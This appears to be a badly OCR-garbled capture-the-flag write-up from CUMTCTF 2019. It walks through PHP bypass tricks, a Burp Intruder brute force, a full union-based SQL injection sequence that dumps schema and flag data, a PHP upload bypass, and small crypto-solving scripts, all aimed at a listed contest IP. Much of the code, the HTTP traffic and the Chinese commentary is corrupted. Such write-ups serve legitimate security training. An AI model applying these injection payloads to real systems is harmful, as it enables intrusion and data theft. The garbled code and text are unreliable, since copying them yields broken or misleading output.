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<?php
$white_list = range(©0,9);
require_once('flag.php');
if(isset($_REQUEST['Over']) && isset($_REQUEST['Overl']) && isset($_REQUEST[ '@ver2'])){
$a = $ _REQUEST[ '@ver'];
$b = $_REQUEST['everl'];
$c = $_REQUEST[ '@ver2'];
if(@ereg("~[0-9]+%", $a) === FALSE){
echo 'no must be number';
}else{
if(in_array($a,$white_list)){
if(strlen($a)>1){
if(md5($c) === md5($b) && ($b !== $c)){
echo "<img src='dark.png'><br>";
echo 'you are a great dark phper<br>';
echo $flag;
}

else{

echo "you can do it!!!";

}else{

echo 'you no dark';

}
}else{

echo 'you are so dark';

}

}else
highlight file(__ FILE_);
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you are a great dark phper
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payload: http://202.119.201.199:32790/index.php?@ver=5%00a&0overl[]=a&dver2[]=b

SimpleUpload

RABIREALE, KA EEEFA, AR Ethpho /G RS, R EbpBiss 44 BT,



Targes RHpcitas cumtsdu.cozpang | ) |

I J-;""’—I muscars, | mex |
"

. N
r CEEEICIMT  CTFEOLS 11 1as
000w s ROOO0OOOn0

=0
&n:qe. 2 HIMO KIS
TEOTH ANCTYRET N IT iPATT, form-dana” FeChod="Honc” onaubmlE=rrerurn

div idmmmg®s
OO g =W 1
A1 1d=" i

=apload_Tile®) filenawe="ul.php®

/N 2K b W

—TFREAE BB, BREEHIHIEEA THBICTFRRZ LS, EHHMI S KE/RMRVimICIFHEE, 7Evimgn i R &H IEH
B, RAREENER—PswpSHFRARBERKRE; BEEdown TR, vimiTIFSIEIE:

<?php
$invest = $ GET['invest'];
$rand = rand(2,59);
$len = strlen(trim($_GET[ 'invest']));
foreach ($_GET as $key => $value) {
if(!is_numeric($value)||$value == '0'){
die('no no no!');

}

$money = number_format($invest*$rand);

$money = intval(str_replace(',',"'"',$money));

$guess = intval($_GET['guess']);

if ($guess == $money && strlen($money)===%$1len){
echo $flag;
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https://imgchr.com/i/kMY3XF

PRERE;

GET /index.php?invest=200&guess=800 HTTP/1.1

Host: 202.119.201.199:32787

User-Agent: Mozilla/S5.0 (Windows NT 10.0; Winé4; xE4; rv:£4.0) Gecko/20100101 Firefox/E4.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept=-Language: zh=CN,zh;cq=0.8,zh=-TW;¢=0.7, zh=-HE; q=0.5,en=-U35;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Referer: http://202.119.20L1.1%9:32787/index.php

Connection: kesp-aliwve

Upgrade-Insecure-Requests: 1

Bt B payloadZk %N null payloads , LFRIKE#E K— i 42000;
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Intruder attack 1
Aftack Save Colmns

| Basute | raroet | postions | paybeds | optins |

| Filer: Showing all bems.

Request | Payload |uw. | Error |1_”¢ | Length ‘4&“_“
58 null 200 Ll O [ses
108 null 200 [=] O =05
124 nul 00 o B ws
206 null 200 8] @ =05
28 null 200 o o =05
-l nul 200 o O =05
283 null 200 =] o =08
283 nu il o a ws
304 null 200 =] O =05
29 null 200 o O 905
344 null 200 o @ =05
484 null 200 o o =08

Parama. | Hesders | Hex

GET /index.php?invest=200&iguess=S00 ATTP/1.1

Homt: 20I.1159.201.195:32787

User-Agent: Mozilla/B.0 (Windows NT 10.0; Winé4; xé4; rv:£4.0) Gecko/2Z0100101 Firefox/é4.0
Aooept: cext/homl, application/Xhtml+xml, application/ xml: q=0.8, */*:q=0.8

Accept-Language: zh-CN, zhig=0.8, th-TV¥;q=0.7, zh-BE; q=0.35, en-U3;q=0.3, 2n; q=0.2
Acocept-Encoding: gzip, deflate

Referer: hoop://I0Z.119.201.19%:32787/ index. php

Connection: close

Upgrade-Inascures-Fequests: 1
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HTTP/L1.1 200 QK

Date: Mon, I8 Jan 2019 12:31:4€ GHT
Server: Apache/2.2.15 (CentCS)
X-Powered-By: PHP/5.3.3
Content—-Length: 713

Connsction: closs

Content-Type: text/html:charsst=utf-8

ta http-squiv="Content-Type" content="text/html; charset=UTF-8">
title>0000000fLagdo</ tit les

K rel="styleshset™ href="admin.csS3" type="t&xt/cas™

.

rr<hl>0OverWatchDOODO</ hi»«</cencers
iner™ align="center"s

" placeholdee="Invest"></p>

£pr<input name="gusss"™ type="text" placeholder="Guess"></p>
»<input type="submit" wvalue="O0O0"/></p>
< m»
g id="footer">Power By <a href="https://0OverWatch.top™>0verHatch</a></div>
</body>
</ heml> /

<center>flag{ }<fcenter>

SimpleSQLi

1. BB 2id=1%27 5,

2. BEFRBEEEHKNGS 21d=1%27%23 , FEIRIER, ULBRENRIIFEENN;

CUMTCTF'2019 Simple SQL Injection

NickName : Aurora
NAME : yzj

3. BTk Horder by=SE5I, ?id=1%27%200rder%20by%203%23 B & IF H# B i% & =51 %4 ;

4. THREHHunionselectE R EH—FIH R 7H, WiE 2id=-1%27%20union%20select%201,2,3%23 ; XH
BE R REE—EIER AN, ®Fid=-1, BArCAEE2/3, J5TEHL AT AR X 6 %) 0] 5 A8 E ) 4K 7,

A
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CUMTCTF'2019 Simple SQL Injection

NickName : 2
NAME : 3

5. BE4: ?id=-1%27%20union%20select%201,2,database()%20%23 A security

CUMTCTF'2019 Simple SQL Injection

NickName : 2
NAME : security




6. B;EH, MWAMFHAmysql R B Kinformation_schema®; id=-
1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_sch

ema=database()%23 & Iiflag® (s & ;

CUMTCTF'2019 Simple SQL Injection

NickName : 2
NAME : emails,flagishere, referers,uagents,users

7. B34 id=-
1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table n

ame=%27flagishere%27%23 A ldfflagii 71 ;



CUMTCTF'2019 Simple SQL Injection

NickName : 2
NAME : Id,flag

8. J#MH: ?id=-1%27%20union%2@select%201,2,group_concat(Id,@x3a,flag)%20from%20flagishere%23

CUMTCTF'2019 Simple SQL Injection

NickName : 2
NAME : 1:flagf:
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‘extension="fillename="xjpg.jpg

new filename(exclude extension):
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old filename(exclude extension):

xlipg

new filename(exclude extension):

rename
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ME XM RERER DS MEEREE X MG ERRFS .. BB IR — 2 AT B E K (SourceNB), i _E AR FEAI
AR

import base64
s="LZYGQ326N5QXMYAKORNG42TABJ2FUWS2MNRWG6A="
c=baseb64.b32decode(s)

print c

for i in range(128):

ans
for x in c:
ans+=chr((ord(x)+1i)%128)
if 'ctf' in ans:
print ans
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easyrsa

XA TARWEAERAEARET ..., nficE RHIT 124 FRAFN 21258 5] ;

Nn=36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b89990
46154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb
9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5

e=5

c=411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1D57161bAA300321174154862338b00982496
26A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b4
3A11A1510A22893b937065

AHUTER, e=5, WMREIEEHLE, EEBHA.
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import gmpy2

def twl to dec(twl):
ans=0
1=1len(twl)
for i in range(l):
if twl[i]=="A":
temp=10
elif twl[i]=="b":
temp=11
else:
temp=int(twl[i],10)
ans+=temp*pow(12,1-i-1)

return ans

def small_msg(c,n,e):
i-0
while 1:
if(gmpy2.iroot(c+i*n, e)[1] 1):
X = gmpy2.iroot(c+i*n, e)[0]
print hex(x)[2:].decode("hex")
break

def main():
n="36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b899
9046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070b
Ab9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AAS"
c="411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b009824]
9626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336
b43A11A1510A22893b937065"

e=5

n=twl_to_dec(n)

c=twl_to_dec(c)

small msg(c,n,e)

if _ _name__ __main__"':

main()

128k A0 0 1032t ) LA 5 B3R BHT /D A TS BBGE A, /5 3flag:
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import base64
s="R1kzRE1RW1dHRTNETO4yQO@dVM1RNTkpXSUGZREANW1FHWKNETU5KVk1ZM1RITVpRRO1ZREtSULdHTTNUSO5TRUCOMKRNTVpYR1EZRE1OMKkU="
c=base64.bb64decode(s)

print c

d-base64.b32decode(c)

print d

e-base64.bl6decode(d)

print e

MOZWGE3DON2CGU3ITMNIWIM3DGMZQGZCDMNIVIY3TIMZQGMYDKRRWGM3TKNSEGA 2DMMZ XGQ3DMN2E
666C61677B5765 D655F7438385F63756D74637466
flag{We
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